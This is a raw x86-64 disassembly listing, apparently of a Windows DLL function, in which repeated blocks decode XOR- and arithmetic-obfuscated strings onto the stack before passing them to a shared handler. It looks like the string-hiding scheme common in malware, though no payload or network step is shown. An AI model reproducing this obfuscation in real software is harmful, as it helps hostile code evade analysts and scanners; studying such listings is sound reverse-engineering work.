lea rdx, [rbp + 0x12f0]
jmp 0x18008c521
movzx eax, byte [0x1801b7038]
mov r8d, esi
mov byte [rbp + 0x1fc0], al
movups xmm0, xmmword [0x1801b7028]
movups xmmword [rbp + 0x1fb0], xmm0
cmp r12d, 2
jl 0x180085cf1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1fb4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180085c00
cmp r8d, 0x11
jge 0x180085d30
movsxd rax, r8d
lea r9, [rbp + 0x1fb0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x180085d00
lea rax, [rbp + 0x1fb0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180085d40
lea rdx, [rbp + 0x1fb0]
jmp 0x18008c521
mov eax, dword [0x1801b7048]
mov r8d, esi
movsd xmm0, qword [0x1801b7040]
mov dword [rbp + 0x17e8], eax
movzx eax, byte [0x1801b704c]
mov byte [rbp + 0x17ec], al
movsd qword [rbp + 0x17e0], xmm0
cmp r12d, 2
jl 0x180085e69
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7040]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17e0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x17e4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x17e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x17e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180085e80
lea rax, [rbp + 0x17e0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180085ec0
lea rdx, [rbp + 0x17e0]
jmp 0x18008c521
mov eax, dword [0x1801b7058]
mov r8d, esi
movsd xmm0, qword [str.dZZAWP_]
mov dword [rbp + 0x1c38], eax
movzx eax, word [0x1801b705c]
mov word [rbp + 0x1c3c], ax
movzx eax, byte [0x1801b705e]
mov byte [rbp + 0x1c3e], al
movsd qword [rbp + 0x1c30], xmm0
cmp r12d, 2
jl 0x180085ff7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.dZZAWP_]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c30], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c34]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c34], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c30]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180086010
lea rax, [rbp + 0x1c30]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086050
lea rdx, [rbp + 0x1c30]
jmp 0x18008c521
cmp byte [0x1801b7069], sil
movsd xmm0, qword [str.t_UGS]
movzx eax, word [0x1801b7068]
movsd qword [rbp + 0x10c0], xmm0
mov word [rbp + 0x10c8], ax
je 0x1800860d2
xor byte [rbp + 0x10c1], 0x33
xor byte [rbp + 0x10c2], 0x34
xor byte [rbp + 0x10c3], 0x35
xor byte [rbp + 0x10c4], 0x36
xor byte [rbp + 0x10c5], 0x37
xor byte [rbp + 0x10c6], 0x38
xor byte [rbp + 0x10c7], 0x39
xor byte [rbp + 0x10c8], 0x3a
xor byte [rbp + 0x10c9], 0x3b
mov byte [rbp + 0x10c0], 0x46
lea rax, [rbp + 0x10c0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800860e0
lea rdx, [rbp + 0x10c0]
jmp 0x18008c521
movups xmm0, xmmword [0x1801b7070]
movups xmmword [rbp + 0x1e30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180086270
cmp r12d, 2
jl 0x18008622b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1e34]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x180086140
jmp 0x180086270
lea r9, [rbp + 0x1e30]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x180086240
lea rax, [rbp + 0x1e30]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086280
lea rdx, [rbp + 0x1e30]
jmp 0x18008c521
mov eax, dword [0x1801b7088]
mov r8d, esi
movsd xmm0, qword [0x1801b7080]
mov dword [rbp + 0x1c48], eax
movzx eax, word [0x1801b708c]
mov word [rbp + 0x1c4c], ax
movzx eax, byte [0x1801b708e]
mov byte [rbp + 0x1c4e], al
movsd qword [rbp + 0x1c40], xmm0
cmp r12d, 2
jl 0x1800863b7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7080]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c40], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c44]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800863d0
lea rax, [rbp + 0x1c40]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086410
lea rdx, [rbp + 0x1c40]
jmp 0x18008c521
mov eax, dword [0x1801b70a0]
mov r8d, esi
mov dword [rbp + 0x2488], eax
movzx eax, byte [0x1801b70a4]
mov byte [rbp + 0x248c], al
movups xmm0, xmmword [0x1801b7090]
movups xmmword [rbp + 0x2478], xmm0
cmp r12d, 2
jl 0x180086561
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x247c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180086470
cmp r8d, 0x15
jge 0x1800865a0
movsxd rax, r8d
lea r9, [rbp + 0x2478]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x180086570
lea rax, [rbp + 0x2478]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800865b0
lea rdx, [rbp + 0x2478]
jmp 0x18008c521
cmp byte [0x1801b70b5], sil
mov eax, dword [0x1801b70b0]
movsd xmm0, qword [0x1801b70a8]
mov dword [rbp + 0x1a48], eax
movzx eax, word [0x1801b70b4]
mov word [rbp + 0x1a4c], ax
movsd qword [rbp + 0x1a40], xmm0
je 0x180086730
mov r8d, esi
cmp r12d, 2
jl 0x1800866e7
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b70a8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1a40], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1a44]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a40]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180086700
lea rax, [rbp + 0x1a40]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086740
lea rdx, [rbp + 0x1a40]
jmp 0x18008c521
mov eax, dword [0x1801b70c0]
mov r8d, esi
movsd xmm0, qword [str.qVFT__]
mov dword [rbp + 0x1c58], eax
movzx eax, word [0x1801b70c4]
mov word [rbp + 0x1c5c], ax
movzx eax, byte [0x1801b70c6]
mov byte [rbp + 0x1c5e], al
movsd qword [rbp + 0x1c50], xmm0
cmp r12d, 2
jl 0x180086877
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.qVFT__]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1c50], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1c54]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1c54], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1c50]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180086890
lea rax, [rbp + 0x1c50]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x1800868d0
lea rdx, [rbp + 0x1c50]
jmp 0x18008c521
cmp byte [0x1801b70d1], sil
movsd xmm0, qword [0x1801b70c8]
movzx eax, word [0x1801b70d0]
movsd qword [rbp + 0x10d0], xmm0
mov word [rbp + 0x10d8], ax
je 0x180086952
xor byte [rbp + 0x10d1], 0x33
xor byte [rbp + 0x10d2], 0x34
xor byte [rbp + 0x10d3], 0x35
xor byte [rbp + 0x10d4], 0x36
xor byte [rbp + 0x10d5], 0x37
xor byte [rbp + 0x10d6], 0x38
xor byte [rbp + 0x10d7], 0x39
xor byte [rbp + 0x10d8], 0x3a
xor byte [rbp + 0x10d9], 0x3b
mov byte [rbp + 0x10d0], Ordinal_79
lea rax, [rbp + 0x10d0]
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086960
lea rdx, [rbp + 0x10d0]
jmp 0x18008c521
cmp byte [0x1801b70d7], sil
mov eax, dword [str.as5as]
mov dword [rbp - 0x68], eax
je 0x180086a30
cmp r12d, 2
jl 0x1800869f0
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm14
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm9
xorps xmm1, xmm0
movd dword [rbp - 0x68], xmm1
jmp 0x180086a30
lea r9, [rbp - 0x68]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x180086a00
lea rax, [rbp - 0x68]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x180086a37
lea rdx, [rbp - 0x68]
jmp 0x18008c521
cmp byte [0x1801b70e1], sil
movsd xmm0, qword [0x1801b70d8]
movzx eax, word [0x1801b70e0]
movsd qword [rbp + 0x10e0], xmm0
mov word [rbp + 0x10e8], ax
je 0x180086ab6
xor byte [rbp + 0x10e1], 0x33
xor byte [rbp + 0x10e2], 0x34
xor byte [rbp + 0x10e3], 0x35
xor byte [rbp + 0x10e4], 0x36
xor byte [rbp + 0x10e5], 0x37
xor byte [rbp + 0x10e6], 0x38
xor byte [rbp + 0x10e7], 0x39
xor byte [rbp + 0x10e8], 0x3a
xor byte [rbp + 0x10e9], 0x3b
mov byte [rbp + 0x10e0], 0x53
lea rax, [rbp + 0x10e0]
mov r8, r13
inc r8
cmp byte [rax + r8], sil
jne 0x180086ac0
lea rdx, [rbp + 0x10e0]
jmp 0x18008c521
cmp byte [0x1801b70f3], sil
movsd xmm0, qword [0x1801b70e8]
mov eax, dword [str.iv]
movsd qword [rbp + 0x13e0], xmm0
mov dword [rbp + 0x13e8], eax
je 0x180086c30
mov r8d, esi
cmp r12d, 2
jl 0x180086be9
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b70e8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x13e0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x13e4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13e4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x13e0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180086c00
lea rax, [rbp + 0x13e0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086c40
lea rdx, [rbp + 0x13e0]
jmp 0x18008c521
movzx ecx, word [0x1801b7100]
mov r8, r13
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x1801b70f8]
movsd qword [rbp + 0x1300], xmm0
xor byte [rbp + 0x1301], 0x33
xor byte [rbp + 0x1302], 0x34
xor byte [rbp + 0x1303], 0x35
xor byte [rbp + 0x1304], 0x36
xor byte [rbp + 0x1305], 0x37
xor byte [rbp + 0x1306], 0x38
xor byte [rbp + 0x1307], 0x39
mov word [rbp + 0x1308], cx
xor cl, 0x3a
xor byte [rbp + 0x1309], 0x3b
xor al, 0x3c
mov byte [rbp + 0x1300], 0x43
mov byte [rbp + 0x130a], al
lea rax, [rbp + 0x1300]
mov byte [rbp + 0x1308], cl
inc r8
cmp byte [rax + r8], sil
jne 0x180086cd4
lea rdx, [rbp + 0x1300]
jmp 0x18008c521
mov eax, dword [str.jROIQS_]
mov r8d, esi
movsd xmm0, qword [0x1801b7108]
mov dword [rbp + 0x1bb8], eax
movzx eax, word [0x1801b7114]
mov word [rbp + 0x1bbc], ax
movzx eax, byte [0x1801b7116]
mov byte [rbp + 0x1bbe], al
movsd qword [rbp + 0x1bb0], xmm0
cmp r12d, 2
jl 0x180086e0b
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7108]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1bb0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1bb4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1bb4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1bb0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180086e20
lea rax, [rbp + 0x1bb0]
mov r8, r13
nop word [rax + rax]
inc r8
cmp byte [rax + r8], sil
jne 0x180086e60
lea rdx, [rbp + 0x1bb0]
jmp 0x18008c521
movzx eax, byte [0x1801b7120]
mov r8, r13
movsd xmm0, qword [0x1801b7118]
movsd qword [rbp + 0xe20], xmm0
xor byte [rbp + 0xe21], 0x33
xor byte [rbp + 0xe22], 0x34
xor byte [rbp + 0xe23], 0x35
xor byte [rbp + 0xe24], 0x36
xor byte [rbp + 0xe25], 0x37
xor byte [rbp + 0xe26], 0x38
xor byte [rbp + 0xe27], 0x39
xor al, 0x3a
mov byte [rbp + 0xe20], Ordinal_79
mov byte [rbp + 0xe28], al
lea rax, [rbp + 0xe20]
inc r8
cmp byte [rax + r8], sil
jne 0x180086ed6
lea rdx, [rbp + 0xe20]
jmp 0x18008c521
mov eax, dword [0x1801b7130]
mov r8d, esi
movsd xmm0, qword [0x1801b7128]
mov dword [rbp + 0x17f8], eax
movzx eax, byte [0x1801b7134]
mov byte [rbp + 0x17fc], al
movsd qword [rbp + 0x17f0], xmm0
cmp r12d, 2
jl 0x180086fff
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7128]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x17f0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
